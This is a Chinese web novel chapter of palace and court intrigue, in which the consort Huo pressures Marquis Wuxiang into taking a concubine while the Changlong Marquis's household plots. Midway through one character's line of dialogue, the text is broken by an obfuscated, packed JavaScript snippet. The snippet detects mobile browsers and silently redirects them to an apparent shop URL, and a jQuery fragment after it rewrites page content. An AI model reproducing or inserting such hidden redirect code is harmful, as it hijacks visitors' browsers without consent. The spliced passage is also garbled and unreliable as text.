原牧炽感觉舒服了点,嬴忱璧看向他们两个,霍海啸不予置喙,原牧炽哼哼唧唧:“他在闭关呢,不知道要算什么,忙得饭都没空吃了,我前几天亲自去找他,我都没搭理我。” 言外之意就是:你派个小太监就想把他叫来,想什么呢。 皇帝略一沉吟,亲自去英王府。 托嬴忱璧驾临的福,萧灼灼终于能跟着进蔚然居了。 嬴忱璧推门进屋,看见一座白茫茫比人高的纸山,纸片和纸团扔得满屋都是,皇帝他都险些懵了懵,萧灼灼有点反应不过来,原牧炽怀疑这家伙要走火入魔了,愣下就扒拉着纸山找人。 萧灼灼回过神来看有人犯傻犹豫要不要提醒,皇帝嬴忱璧都想劝,人不可能在纸堆里,没想到原牧炽真在纸山堆里把晏霁之找到了,嬴忱璧:“……” 只有霍海啸最实在,抄起堆纸片看晏霁之在算些什么。 被从纸山里找出来的晏霁之衣冠不整发丝凌乱,相对于平时的英王世子,绝对算邋遢,甚至于他还浸在思绪里就没理会他们,皇帝问:“霁之这是在算什么呢?” 没回应,嬴忱璧再问遍,还是没回应,第三遍还没回应,嬴忱璧:“……” 霍海啸诈诈他:“贵妃有三个月的身孕了。” 嬴忱璧懵了下瞪向霍海啸,晏霁之抬头:“打断别人的思绪很可耻。” 霍海啸很好脾气:“你算什么呢?” 晏霁之晃晃沉重的脑袋:“下个月朱太夫人过寿,送给昌隆侯的礼。” 原牧炽凑进来:“看你这苦逼德行,是还没有算出来吧。” 晏霁之撑着疲惫站起来,肩头些许发丝随着他的摇晃掉落,他感觉动一动都腰酸背痛:“算了,我先睡一觉,我两天没合眼了,你们自便吧。” 语毕他往内室走。 嬴忱璧注视过晏霁之的背影,随手抄起几张纸片看看。 萧灼灼悄咪咪问:“贵妃真的有身孕了?” 冷不防的嬴忱璧:“……” 霍海啸把原牧炽推上前,原牧炽翻白眼:“你这么蠢是怎么活到今天的?” 被气到的宜春县主萧灼灼捏捏拳头,气鼓鼓走人,刚出蔚然居,贴身婢女递上花笺,她没有防备地打开,立时头皮一麻,她要断了的相好入京了要约她见面。 蔚然居内,皇帝粗略看过几张算术纸片,带他俩出屋,庭前暖意盎然,就他们三个人,嬴忱璧感受过阳光的舒服,问原牧炽:“六月初五前,能上岛吧?” 原牧炽保证没问题,六月前他都能上岛。 “六月二十夜里施援,能瞒住昌隆侯几天?”嬴忱璧有数,就想再问问。 霍海啸估摸:“六月底、七月初吧。” 原牧炽也赞同,能瞒半个月真的是最多了。 嬴忱璧凤眸微眯:“若兵力不足,昌隆侯会如何挣扎?” 霍海啸低低头:“划江而治,再图中原。” 原牧炽在心里撇嘴,今年还真是别想消停了。 晏霁之出屋来,三人同时看向他,霍海啸问:“你不是去睡了吗?” “不差这一时半刻。”晏霁之刚拾掇过自己:“但我要是不装睡,瘟神能走吗?” 嬴忱璧刚想说话,原牧炽抢前道:“你跟人折腾个什么劲儿啊?” 晏霁之表示:“我还有十万两的账要收。” 原牧炽嫌他:“你还不如不要这笔银两了呢。” “行吧,这笔账收回来,我就捐给陛下。”晏霁之慷慨,嬴忱璧神情微妙地看向他,晏霁之理直气壮:“动迁民众入塞北不要钱啊,这少说就要千万贯,能从天上掉下来吗?你大可以向臣子们打秋风嘛,这又没什么丢人。” 嬴忱璧不再看他,转向霍海啸:“昨夜,侯瞻逊私自回京和昌隆侯碰面了?” 霍海啸应是,原牧炽怀疑:“昌隆侯这么不谨慎吗?” “他很谨慎。”皇帝道:“每个跟他碰面的人都确定没有被跟踪才放心。” 原牧炽心说那你是怎么知道的,晏霁之解惑:“单他谨慎没用,虢王不谨慎,侯瞻逊私自回京更不可能瞒得住,何况,”他看向皇帝,猜:“显国公禀告陛下了吧?” 嬴忱璧嗯声,原牧炽怪道:“这武襄侯世子凑什么热闹?” 晏霁之比喻:“你可以把他看成最拙劣的霍海啸。” 三人再同时注视他,晏霁之生动解说:“一看霍海啸,几人不觉得他想将来位极人臣,侯瞻逊就是想登高但看他的外表没人觉得像更不觉得他撑得起他的志向。” “哦~~”原牧炽懂了懂了:“那武襄侯府还能逃得掉吗?” 比他年长的三位皆未语,晏霁之突然想问:“陛下,郢国公可有向您或者圣人禀告过,虢王和昌隆侯的幕僚想请他搭救翟猛?” “没有。”嬴忱璧语调有点冷。 原牧炽瞟向霍海啸,霍海啸不含私怨地看待都想摇头。 晏霁之叹,真不知是郢国公聪明过头还是已故的老郢国公聪明过头,他多此一问的问:“庄太妃遗留在皇宫中的余孽,陛下都揪出来了吧?” 嬴忱璧再嗯声,似有缥缈:“原来伺候庄氏的宫人和她埋的细作都没了?” 晏霁之垂眸:“我埋在庄太妃身边的细作,郢国公没追踪到,没事。” 霍海啸完整说道:“除十余人没被追踪到以及鞠家留下的两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459335|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外,全被封口了。” 原牧炽奇了:“你们什么意思,郢国公帮庄太妃把这些人杀了?” “是啊!”嬴忱璧仿佛才冒出怒气来:“霁之与朕说,三年前镇南侯府后宅女眷被杀,镇南侯托他查查是否与京畿有关,霁之查两年查到郢国公府鞠家。 朕还不大相信,就因庄太妃怀疑霍灵渠是嬴天漾的小妾,只为杀一个人,郢国公就能派杀手把镇南侯府后宅所有年纪相仿的年轻女眷全杀了?何至于?!” 嬴忱璧眸光森森:“朕真是眼拙,鞠家背地里行事竟是如此粗暴阴狠。” 原牧炽张张唇还是没说话,霍海啸沉默下说:“否则太后的八公主也不会被害了。” 嬴忱璧滞怠下,略过道:“庄太妃是早动了杀心还是她被暴打之后?” “她入小觉庵时就没想过让这批人活命吧。”霍海啸忖度:“只是这批人刚放出皇宫时还有些引人注目不好动手,所以她忍了半个月。” 嬴忱璧叹口气,瞥见晏霁之,忽然想问:“英王当真不管晏明潜了?” 晏霁之不想理皇帝,嬴忱璧默下,不死心地探探:“英王若是没有和萧家结亲的意向,为何还要放任、任由宜春住晏家,他放任岂还能不是在给大家误导吗?” “还好,你说的不是,英王没有意向为何不阻拦宜春住晏家?”晏霁之刺。 嬴忱璧噎下,瞪向原牧炽,原牧炽转头,这跟他有什么关系。 “不要给朕含糊其辞。”嬴忱璧训诫。 “萧家自己放任萧灼灼来住晏家,我家为何要多事?”晏霁之怼怼他。 “你家没有意向结亲啊。”嬴忱璧强调,晏霁之猛地蹿起无名火:“所以呢?!所以萧家就该恣意放纵自家人,我晏家不在意外人的名声就该被你皇帝痛斥谴责?” 就差骂皇帝脑子有坑了。 原牧炽暗爽,觉得皇帝真是欠骂,同一个事,被骂过了还要找骂。 嬴忱璧沉默会儿,不再妨碍晏霁之歇息,这就带霍海啸和原牧炽要走了。 晏霁之喊住皇帝提个建议:“陛下给武襄侯纳个妾吧。” 原牧炽抖激灵看向他,霍海啸想按按脑门,嬴忱璧神情诡异了:“你说什么?” 晏霁之重申:“陛下给武襄侯纳个妾吧、再让妾室给他生个孩子。” 嬴忱璧,皇帝都要劝他:“霁之,委实不必如此吧。” “老穆国公说你六弟当年若没有武襄侯搭把手可能逃出皇城吗?”说着,收到阵目光,晏霁之转向原牧炽:“你能有印象吗,要不然你还是去治治你的失忆吧。” 原牧炽扭过头不理他,晏霁之考量道:“侯瞻逊会上昌隆侯的船怕是不会有变数了,侯家若是出事,护国公绝不会袖手旁观,我偏向于,升平和她生的儿女以及孙辈全得折进去,武襄侯独自活下来怕是也不愿再求生了,给他个孩子能让他活下去。” 他们:“……”你还是正经的呀。 原牧炽头疼:“可他都六十岁了。” 嬴忱璧神思难辨:“霁之,武襄侯长孙都二十岁了,他儿孙满堂,哪怕侯瞻逊和侯瞻渥跟着昌隆侯谋逆累及侯家,也不至于他这一家子人只有他能活吧?” “我表姐的死可能与升平和侯瞻让有关,是庄太妃借他们母子的手做的,我表姐去世,升平未必没数。”迎着皇帝的视线,晏霁之目光如炬毫不避让,眼底恨意涌动:“待我确实,这位升平大长公主和她的儿女包括外孙,我一个都不会留。” 原牧炽说不出什么感觉,嬴忱璧甚至霍海啸都惊了下,只不过霍海啸惊于此事的帮凶是侯瞻让和他娘,嬴忱璧觉得晏霁之这么做太狠,但让他对晏霁之说这未免太狠又说不出口,就觉得造孽了居然能扯到这么出人意料……嬴忱璧怔下,情理之中? 否则他四妹怎么被害的?晏家霍家一同护着,他四妹都没了呀,也唯有这个突破口了。 嬴忱璧心就沉淀下来了:“你和英王、晏副相谈过没有?” “没有。” 嬴忱璧在原地转圈瞥见霍海啸,吩咐:“海啸就让贵妃给武襄侯送个妾吧。” 霍海啸面无表情的应,原牧炽都想吐槽皇帝:你可真有你的。 皇帝嬴忱璧打算要走了,刚转身又回头,意识到:“霁之想给武襄侯纳个妾有个庶出不只是想让他能活下去,还是在逼侯瞻逊兄弟姐妹们上昌隆侯的船吧? 侯瞻逊想出人头地、侯瞻渥想要这媳妇都还不足以把武襄侯和升平的三个女儿卷进去,她们是出嫁女,娘家的祸事未必能牵涉她们,但若她们自己卷进来,当然另当别论,你既然连升平的外孙都不想放过,当然得给他们把火烧起来。” 晏霁之漠然讥诮:“他们不想目中无人,谁能给他们把怒火烧起来。” 皇帝是认同的,可以预见的,庄太妃都结下多少死仇了,这娘和哥哥姐姐们居然还不思管束侯瞻渥,他们什么心思,如武襄侯一般想归隐了?笑话!若是父亲纳个妾、有个庶出,女儿们就能怒到不知好歹还能不是早存着心思就想为所欲为么。 皇帝刚走,一辆马车停在英王府大宅前,带着帏帽的女子下车来,在府门前被拦住,请她出示名帖,霍灵渠撩起帏帽,门房小厮卡住了:“姨、姨娘?” 霍灵渠打哈哈:“是我,我回来看一眼,不必通禀了。” 话落,她放下帏帽迅速往府里冲,门房再愣下赶紧去追,追两步急急刹住,还算机灵地转去找晏炼护卫长。霍灵渠一路小跑到蔚然居,绕过晏四,顺利进门。 与此同时,霍漓江请来皇帝,嬴忱璧差点气结地折返英王府。 霍灵渠想去慈恩寺进香给她六哥哥求个平安符是真的,想趁机来看眼晏霁之也是真的,这几天英王世子的消息传得沸沸扬扬,说晏霁之做算术做得入魔了,不吃不喝、不眠不休,不是已经疯了就是快要疯了,她心里不安,就让爹爹帮她来英王府一趟。 进屋看见堆成山的纸片纸团,霍灵渠心里莫名下,寻至内室看他睡着了,霍灵渠探手至他脸颊边还是停住,看晏霁之满面疲惫,她仰仰头克制心酸,放轻脚步离开。 一出屋,见皇帝大步而来,霍灵渠瞪眼她爹,理都没理皇帝,昂首走掉。 嬴忱璧深呼吸冷静,回宫他就勒令宫人加固对贵妃的防范,太胡闹了! 萧灼灼来到荷花池畔赴约,岸边柳条拂绿,湖水漪漪,粉白的花苞映着荷叶格外清新,两个人之间却分外压抑,朱窅絜悲痛难当:“我姐姐真是被霍家……” 虽然知道肯定要过这一关的,萧灼灼心还是颤了颤,硬着头皮应嗯。 朱窅絜瞬间红了眼几欲要哭出来,萧灼灼刚想劝慰,朱窅絜悲愤抬头,瞋目切齿:“灼灼你当时在场呀,你为什么不救我姐姐?她是我一母同胞的亲姐姐,是你未来的大姑姐呀,你为什么都能眼睁睁看着她被霍家和蜀王杀害都能无动于衷?” “我……”萧灼灼下意识就不敢反驳:“当时大家都懵了,我没想到。” “懵了?”朱窅絜满目荒唐的哈哈大笑:“你一句懵了,我两个姐姐就一个被砍手臂、一个被害死甚至、甚至连全尸都没有,灼灼,你怎么就能这么忍心呀?” 萧灼灼小声争辩:“我、我不是救不了嘛,大家都懵了,没人想到会这样。” “没人?”朱窅絜倏然疾言厉色:“霍舒窈可是你堂嫂!” “你这是什么话?”萧灼灼奋起些:“一个堂嫂,你说的好像她是我娘似的。” “对不起,灼灼。”朱窅絜苦涩而颓丧:“我心里难受,我不是要怪你。” 萧灼灼理解:“我知道,我也没怪你,我有事跟你说。” 朱窅絜低着头,声音很闷:“我也有事要跟你说,那好,灼灼你先说吧。” “我们断了吧。”萧灼灼脱口而出,朱窅絜不可思议:“灼灼你说什么?” “霍家和朱家不可能善了了,我若嫁给你,我爹娘还怎么在大伯家面前做人?”萧灼灼一股脑儿说:“还有我妹妹,我妹妹及笄了也要说亲事了,我若嫁给你,外人怎么看我家,我妹妹还怎么说亲事,我没法再跟你继续下去了,我们断了吧。” 朱窅絜瞪大着眼睛看她,眼中的愤怒批判和难以置信的痛楚悲凉仿若能把萧灼灼压倒,萧灼灼唰得下就跑,朱窅絜没防备,赶忙去追,快追上时被萧灼灼的武婢阻挡在,萧家配来保护她的。 朱窅絜咬牙止步,右手攥着拳头几乎要把手指拧扭曲。 冷静许久缓和些,朱窅絜回去他们目前的住处。 他在父亲的书房前碰见妹妹,朱縠艾看他愤懑又懊恨,问怎么了,得知缘由笑了:“哥,你不是吹嘘萧灼灼被你迷得晕头转向非你不嫁吗,怎么,这就飞了?” 朱窅絜冷哼:“你也十六岁了,看你能找个什么样的你看得上的男人?” 他们自是同母兄妹。 朱窅絜想娶萧灼灼的心还挺真的,他两个同母兄长,媳妇都是被硬塞过来当接破烂一样接着,没法,一个是圣人的同母妹妹的女儿,找不到中意的人家就只能往朱家塞了;一个是柴家女,他祖母和姨娘都要扶着柴家,谁娶?只能是他姨娘的儿子了。 他都庆幸他姨娘生了三个儿子,不然就得他来娶柴家女。他看着这俩哥哥和那俩嫂嫂,他发誓一定要自己找媳妇,精挑细选才选中萧灼灼。 朱縠艾不屑:“若没有我看得上的,不嫁又如何?” “不过,”她又哀叹:“爹想把我嫁去班家,这趟进京大概会定下来。” “咱姐姐刚没就给你定亲事?姨娘在家里都哭成什么样气成什么样了!”朱窅絜急声,朱縠艾无奈:“这不就是想安安姨娘的心,若不然,我才不想嫁呢。”她的志向从不在后宅,对嫁人一点兴趣没有,翻手为云、覆手为雨,这才有意思呢。 兄妹俩都不舒坦地去找父亲,昌隆侯淡淡道:“你再试试宜春的态度,若她铁心要断,让她去福建给你祖母拜个寿。” 何意?他们都了然,朱窅絜笑道:“爹您放心。” 夕阳落,武襄侯在黄昏前将私自回京的长子硬逼走。 萧灼灼在晚霞的余韵里对着两封信发愁,她爹娘明天要进京了。 144. 第144章 正一品贵妃对前朝大臣有多大权利? 霍贵妃要赏赐武襄侯一个妾室就展现得淋漓尽致。 是的,赏赐。 中宫皇后和一品嫔妃能传召前朝大臣,但若后妃想给臣子赏人,唯皇后与贵妃能赏赐。 诚然霍贵妃还得要有仰仗才可能不会反被打脸,但在名义上,贵妃就是有这个资格。 故而,霍家想送个妾室给武襄侯,不必霍太后出面,霍贵妃就能把事办了。 今早辰时初,霍灵渠请乐邑长公主、丞相夫妇、武襄侯、显国公、还有她堂姐霍舒窈,这么个怎么看都不对劲的组合,谁不琢磨霍贵妃想搞事情都不正常。 “本宫想给武襄侯送个妾室,侯爷若不想收,丞相和显国公帮我劝劝吧。” 看客们:“…………”你不用这么缺德吧? 乐邑真想捂脸,霍舒窈都觉得她撑不住,谁的主意啊,她大哥不至于吧。 武襄侯拒道:“贵妃,老臣年事已高,受不起您的赏赐,还请贵妃收回。” 霍灵渠美目流盼装轻蔑:“若是我不肯呢?” 武襄侯毫不含糊:“老臣只能请圣人做主了。” 霍灵渠就等他这话了,当即狂飙:“你以为我怕你找圣人,我大哥拦住侯瞻渥两回了,霍家什么态度,你不懂吗?霍家还不够给你们夫妇情面吗,结果呢,你们给我什么回报,就是要踩我和霍家的脸是吧!当你们是皇亲国戚,我就拿你们没辙吗? 你想找圣人,你尽管找去啊!你找圣人,我就给你下合欢散,我天天给你下合欢散,我让大姑父你把你府上的婢女全睡个遍,我看圣人怎么训斥我?!” 霍舒窈默默转过脸,班丞相手抖下,班夫人木然着老脸,显国公惨不忍睹啊,乐邑心说她就说她这个童年小伙伴没脸没皮,这种缺德事,她和霍家绝对做得出来。 武襄侯冷静道:“贵妃想怎样才肯收回?” “昨儿个,显国公告诉圣人和陛下,你想带家眷归隐了,去乡间过闲云野鹤的生活。”霍灵渠没有再咄咄逼人,脸色是真的难看,好像她也不愿意闹得这么难看:“侯爷人好,我相信,你是真的想就此隐退了,但你能管住你的家眷吗? 显国公跟你谈过了吧,你的妻儿们可不是也和你一般想隐退、是就没把霍家看在眼里。我倒是不知道侯夫人和她的儿女们是有多自得,在霍家有位太上皇女婿、皇帝外孙时,还能不把霍家当回事,姑父总不是想告诉我,你夫人自觉她能为所欲为吧?” 武襄侯跪下来:“贵妃慎言,拙荆文弱,受不得贵妃如此污蔑,还请贵妃收回。” 班丞相等在座的五位都站了起来。 霍贵妃指升平大长公主想为所欲为,什么意思? 还能不是,皇帝侄儿若不能让她满意,升平都敢想换个皇帝?! 武襄侯当然不能受这样的指摘。 “好,我给你个机会。”霍灵渠傲视道:“未时前,让你夫人在圣人和陛下面前立个誓,侯瞻渥回京后你退出朝堂,离京前奉上九成家财,她今后至死都会留在乡野,她若回京来则任由霍家将她驱逐,我就不给你送这个妾室,能吗?” 班丞相他们五人眼神微妙,这殿里随侍的小宫人们都低着头相互看看。 武襄侯老脸沉重,背脊仿佛都被压低了些。 “纳个妾,再生个孩儿吧。”霍灵渠说,武襄侯猛地抬头看向霍贵妃,霍灵渠雅然笑:“我会让宫人天天给你们送补汤,直到你的妾室怀上身孕。 你若是都狠不下心再生个孩儿,你凭什么让我相信:你能管住你的家眷,你的妻儿们又有谁会把你想隐退当回事,在你和他们起冲突时,他们不会越过你做主?” “贵妃既不能相信老臣,老臣也无能为力,但老臣委实不能接您的赏赐,请您收回。”武襄侯这把岁数了还能怕:“否则老臣只能跪死在皇极宫前请陛下做主了。” 霍灵渠翻译下:“你威胁我?” 武襄侯恭恭敬敬:“老臣不敢。” 霍灵渠只好放杀招:“侯爷有喜欢的人吧,在心里深埋了四十几年。” 大殿里忽然一静,何止乐邑和霍舒窈,班丞相和显国公都神情有点诡异地看向霍贵妃,武襄侯心里一凉就好像被当头浇下盆冷水忽然有些不知所措,霍灵渠夺回主控:“你看,你自己的麻烦是你自己担着呢还是让你心里的女人帮你担?” 武襄侯苍白脸看向霍贵妃,霍灵渠问:“这妾室是你自己找还是霍家帮你找?” 被逼纳妾的武襄侯只魔怔一般看着霍贵妃,霍灵渠冷然道:“这样吧,明天天黑前,你若还没有给自己纳妾,霍家给你送。我想我们有这个默契,只给你送一位就够了,你也可以放心,不会给你找太小的,三十来岁的寡妇,还可以吧?” “贵妃非得如此相逼吗?”武襄侯碰碰嘴皮,苦笑。 霍灵渠诛心:“那么四十二年前桓皇后把庶长女许配给你时你为什么不反抗?” 武襄侯闭闭眼弯下腰,额头直触冰凉的地砖。 霍灵渠站起来,训示道:“丞相和显国公劝劝武襄侯宽心吧,劳烦丞相夫人和我大姐随长公主去给侯夫人报个信,再劝劝她莫忧思伤神。” 语毕,霍灵渠就走。 众人恭送过贵妃,除班夫人厚道些,班丞相和显国公他们都更想知道武襄侯喜欢的那位是何方神圣? 啊呀班丞相都觉得自己有点造孽了,走过去扶武襄侯。 乐邑腹诽过她那婆母要乐疯了,带着班夫人和霍舒窈去知会那位大姑母。 这桩热闹也没有任何意外的瞬间传遍,翁嫔眨眨眼呆萌萌的,天天送补汤,这都可以?太妃们都嫌惨不忍睹,这可不是武襄侯纳个妾就够,霍家这是要逼武襄侯弄出个庶出来呀,不管是庶子还是庶女都能把升平和她的儿孙们膈应得够够的了。 传至宫外,一样的沸腾。 没一个时辰,升平大长公主来找霍贵妃,霍灵渠把宫人屏退,单独和她谈。 “贵妃想要什么,直言吧。”这位大长公主侯夫人近乎梗着脖子说。 “这个时候才想起我和霍家不是你想无视就能无视的,不觉得太迟了?”霍灵渠冷笑:“武襄侯想隐退求全,你是吗,侯瞻渥是找到他这个媳妇就没事了吗,你什么心思啊,这么放纵他?仗着自己是公主,儿媳妇也可能是个公主就想跟我板板手腕? 你玩得起吗,晋王给侯瞻渥搭把手就能让他在霍家眼皮底下溜走,这是什么天方夜谭,想让侯瞻渥死在外面还是活着回来,自己看着办,尽管去找圣人,不送!” 五十八岁的老太太硬生生被她逼红眼睛。 升平挺直背往外走,躲在殿外的乐邑长公主看她这位大姑母离开,连忙带霍舒窈进殿问——武襄侯喜欢的女人是谁呀? 霍灵渠担忧:“你婆婆嘴碎。” 乐邑发誓:“我保证不告诉她。” 霍灵渠在手心写串字,乐邑和霍舒窈对视眼,默默地回了。 回到薛家,被公爹问及同个问题,乐邑抬头望望天,这公爹不嘴碎吧。 显国公得到答案想捂捂脸,这姐夫哪儿是和护国公交情很不错。 向公爹告退过,乐邑又被婆母喊去,见到幸灾乐祸地快抽搐的婆婆,她转过脸。 平原大长公主就没想过有生之年还能看见那大姐夫纳妾,这简直比显国公遣散所有小妾还让她喜悦,平原乐得,以致太微宫来人请她们时,乐邑都不想和婆母兼姑母乘一辆马车,平原高兴得都无所谓,她就和小妹新都坐一辆马车。 新都大长公主忍过几遍也忍不住让她注意些,还笑没完了,平原反嗔:“你装什么呀,咱这大姐要为个儿媳妇跟霍家你死我活,这是什么破天荒的笑话? 霍家让她发个誓,请都不必去请,都知道她舍不掉富贵,那就等着跟霍家过招,怎么,霍家发难了,她第一轮都撑不住啊,那她这些天在蹦跶个什么劲儿?” 平原好笑:“难道咱这大姐也像佟家人那样做梦做得忘乎所以了?” 新都蹙着眉嫌最后句话太难听,几回想纠正还是没多言,平原得意进击:“是吧,自从侯瞻渥出生之后咱这大姐飘飘然得都飘成什么样了,霍家指她想为所欲为也不全算诬赖吧,她没有自觉她是圣人的姐姐肯定能压倒霍家、敢蹦跶吗? 我被皇兄重责时她没看见啊,皇兄都把同母妹妹贬做庶人了,她哪来的自觉认为凭她是圣人的姐姐就能压倒霍家?何况她和圣人有多少情分,比你我还不如,那她还不是在做梦,被一些官眷吹捧多以后瞎得意忘形,偏还要装老实本分,你不嫌?” 在太微宫想请圣人出面的不是升平大长公主,她见过霍贵妃就回家把自己关在屋里了,是她嫁在京中的两个女儿、长孙、孙女,还有外孙女们;没有做儿子的身影倒也是巧了,她年长的两个儿子在外地任职,侯瞻让出京办差,侯瞻渥去找媳妇了,都没在。 一行六人在太微宫等候许久,都没有想到太上皇一直没有召见他们。 被太上皇传来劝他们回的三人赶到,新都见此情景再蹙眉,乐邑看眼小姑母,想来是看着也觉得不舒服。 第一眼冲击,乐邑就觉得这两个表姐真的不懂事了,贵妃赏个妾给武襄侯能算什么,为这么点事兴师动众来搅扰圣人,他们还有没有点分寸? 且,乐邑抿抿唇,直觉就觉得,他们来时肯定自觉圣人会给他们做主,乐邑脸色不好,不管武襄侯如何,升平和她的儿孙们这些年确实有些不知所谓了。 平原大长公主斗志昂扬,都不必小妹和儿媳妇多话,她一人对阵他们六个,一瓢一瓢的风凉话泼过去,一路高歌猛进硬把两个外甥女和四个属孙辈的小辈给逼走了。 昌隆侯收到太微宫的消息,没在意,梅斗关注道:“既然太上皇有传女儿,乐阳长公主还小不算,怎么会,太上皇没有传长女崇孝长公主?” 朱縠艾随口说:“任家来人了,魏王府热闹吧。” 梅斗反对:“这怎么会是太上皇不叫长女的理由。” 朱縠艾一噎还想争辩被昌隆侯拦住:“先生这话有理,圣人是故意略过崇孝。” 檀慈嗤道:“难道这太上皇不喜长女?不是说他对魏王和长孙还可以么。” “魏王是魏王,崇孝是崇孝,圣人不喜崇孝这个长女倒也不是不可能,崇孝像她娘。”昌隆侯淡淡道:“当年任氏若非自己病死的是时候,早被废了。” 朱縠艾眼眸一转,笑:“爹,既然圣人不喜原配,” “没必要。”昌隆侯否道:“魏王不会在意,崇孝知不知道都没两样。” “说起来,这圣人现在最疼爱的应该就是幼子了吧?”檀慈估测。 昌隆侯再否:“圣人没那份闲情,他最疼爱小六。” 朱縠艾好笑:“爹,您在说什么呀,”猛地被父亲瞪视,她心一缩就低头了。 梅斗讶异:“侯爷,太上皇可想把原家连根拔了。” “这对圣人没有冲突,小六自小,他就喜爱,过些年,他不想留着原家了,他就动手,没有妨碍。”昌隆侯道:“除了温献皇后,谁都影响不了他对朝局的考量。” 梅斗恍然:“侯爷是说,太上皇一直以来就是最疼爱第六子,那么他对次子?” “假的。” 檀慈探究下:“那这太上皇对皇帝有过疼爱吗?”现在估计肯定没有了吧。 “老五一出生就养在温献皇后膝下,就凭温献皇后养育过老五四年,圣人对这儿子怎么可能没有疼爱过,没两年,老五又给了当时的霍德妃养育。”昌隆侯对这太上皇表兄的心思当然很会揣摩,太上皇给朱家荣宠,他若不懂圣人心思也接不住啊。 “把老五给霍家养,圣人若是不费心思岂不是白给了;十五年前,圣人想换个储君时,老四老五老六都在他的考量里,甚至,老五才是最合他心意的。” 梅斗惊讶:“莫非太上皇禅位给皇帝也有真心托付社稷之意?” 檀慈撇嘴:“就是没有老二是吧,不是都说那庄太妃是太上皇后宫争宠第一人嘛,居然真要命的事反而察觉不出来,难怪越混越差。” 小厮端着托盘来花园呈上两寸高的算术纸,而后自觉退下。 昌隆侯抄起叠纸一页页看,两位幕僚和朱姑娘也各自拿几张看,檀慈看两眼没耐心了:“不如送去给孟怋乂吧,他不是夸口,终于遇到个有趣一点的了嘛。” 朱縠艾失笑:“先生,你们二位年纪加起来都快七十岁了,怎么还和小孩一样,这不就几张废纸,就让英王世子算吧,看他这些算术能给我爹算出份什么样的礼来。” 梅斗微微蹙眉,昌隆侯掠过梅斗,视线再注视眼前的算术:“先生以为如何?” “至少不会是废纸吧。”梅斗略带无奈,朱縠艾一噎,给檀慈使眼色,檀慈转头,至少人家也能和孟怋乂较较高下,大家差不多水平,他看低人家不等于看不起自己。 “这礼也不会小?”昌隆侯若喃喃自语:“那么他的方向会在哪儿?” 朱縠艾咬唇,只能自己出头:“爹,真的还要留着晏家吗?” 昌隆侯斥:“你大姐糊涂,你也跟着犯糊涂。” 朱縠艾反驳:“可,霍家都不留了,何必再——” “何必?”昌隆侯不满高涨:“你大姐的前车之鉴,你没看见,圣人刚追尊温献皇后,你不懂?若是能由得了我做这么多主,朱家还能被霍家压着?” 十六岁的姑娘低低头:“是女儿大意了。” 梅斗神情微异,昌隆侯注意到,客气道:“先生有话,直言。” “侯爷有否想过霍家对您的态度?”梅斗提示,昌隆侯没懂,梅斗叹气:“侯爷,大姑奶奶被砍断手臂的宫宴上曾说过这么些话:老穆国公,念在你没几天活头了,你跪下来给我赔个罪,我就不跟你计较了。霍家想要北境大军,我请圣人给你们就是了。” 梅斗再看眼眼前的例,昌隆侯立时敏锐的感知到:“先生的意思,我还不能取代霍家,圣人不会答应,如若我非要和霍家硬碰,圣人会宁可舍我?” 朱縠艾要说话被她爹制止,梅斗规劝:“侯爷不觉得近年来朱家太有一种想当然了吗,朝堂豪族,去舍存留,一个小姑娘都这么肆意好像人家是捏在她手中的泥偶,正常吗?侯爷您自己都说朱家还被霍家压制着,可您的女儿们,谁还把霍家当回事? 如若我们可以不把霍家当回事儿了,朱家还会被霍家压着吗?霍家是当朝第一豪族,想取代霍家的人家没有少过,按理霍家站在风口浪尖,应该是举朝最危险的人家,可几人不看朱家比霍家危险?一旦太上皇驾崩就是皇帝清算朱家时。” 昌隆侯眼神一闪,后知后觉一般被气笑了:“霍家在给朱家养狂妄?” “应该也不止霍家一家。”梅斗说。 “爹?!”朱縠艾不服气,她看来,梅斗这就是长他人志气灭朱家威风,只是她才喊爹就被父亲打断,昌隆侯猜都知道这女儿要说什么:“你是该反省,出去。” 朱縠艾愤懑往外走,惊起树梢数只鸟。 疾走至花园外,朱縠艾撞见一样愤愤的朱窅絜,就知道他没见到萧灼灼,萧灼灼家里人今天入京,这哥哥今早还信誓旦旦说照样能把萧灼灼约出来,朱縠艾就不信。 果然被打脸了吧。 萧灼灼在搬家呢,她爹娘和二哥亲自来的,家长们一到,她就得在外人们看来肯定是灰溜溜得从英王府搬出来去跟父母住,还得再跟着去秦王府拜会。 哎呀这个去秦王府?她上回都尴尬死了,她这回能不能不去了呀。 答案是不能。 老秦王亲自见了外甥女一家,他们自是都没什么尴尬,老王爷还谈及萧灼灼的亲事了,委婉提,晏家怕是无意。 萧灼灼她那风流倜傥的二哥萧耿裕信心十足笑:“舅公,咱们灼灼生得这般美貌,就是块铁也能把他给熔了,您放心吧。” 萧灼灼对这种话听多了很平淡,老秦王皱眉,看眼小姑娘,想跟外甥女单独谈谈,谈完他直想叹气,他懂外甥女的意思,给萧灼灼选晏家是对她最好的,可一开始就不该这么做,如今不好退了只能先想晏家,他再训诫番,但愿萧家莫再犯这种错了。 晏煦之在秦王府大宅外候着,见到宜春县主出来,要跟她说句话。 萧灼灼怪怪的,听完憋气握拳,晏煦之来通知:我老哥通知你,还债,现在立刻,把债清了。 萧灼灼咬牙:“明天!” 晏煦之提醒:“现在立刻,我是来收账的,要不然怎么会是我来呢。” 萧灼灼暴得想打人了连她二哥都想打,她怎么就没看出来脸有什么用,这脸要是有用,她能被催债催成这样?她的小金库啊她从吃奶时攒起的宝贝,她爹娘帮她付了账,一定会要把她的小金库没收当做给她个教训,她的钱啊,萧灼灼想哭死。 日暮炊烟起,武襄侯站在夫人的房门前想和夫人说句话,升平始终没有开门。 皇城,皇帝嬴忱璧在窗前遥望落日熔金,伫立许久。 一封花笺送到佟家,昌隆侯约佟家人明早见面。 佟梦骜他们正要用晚膳,这下谁都没心思吃饭了,纷纷聚集起来商量昌隆侯的意图乃至猜花笺的真假会否有人假充昌隆侯想戏耍他们?然而这场家庭议事并不包括佟图匡,下人给他送饭来,他扒拉一半饭菜送去给老妻。 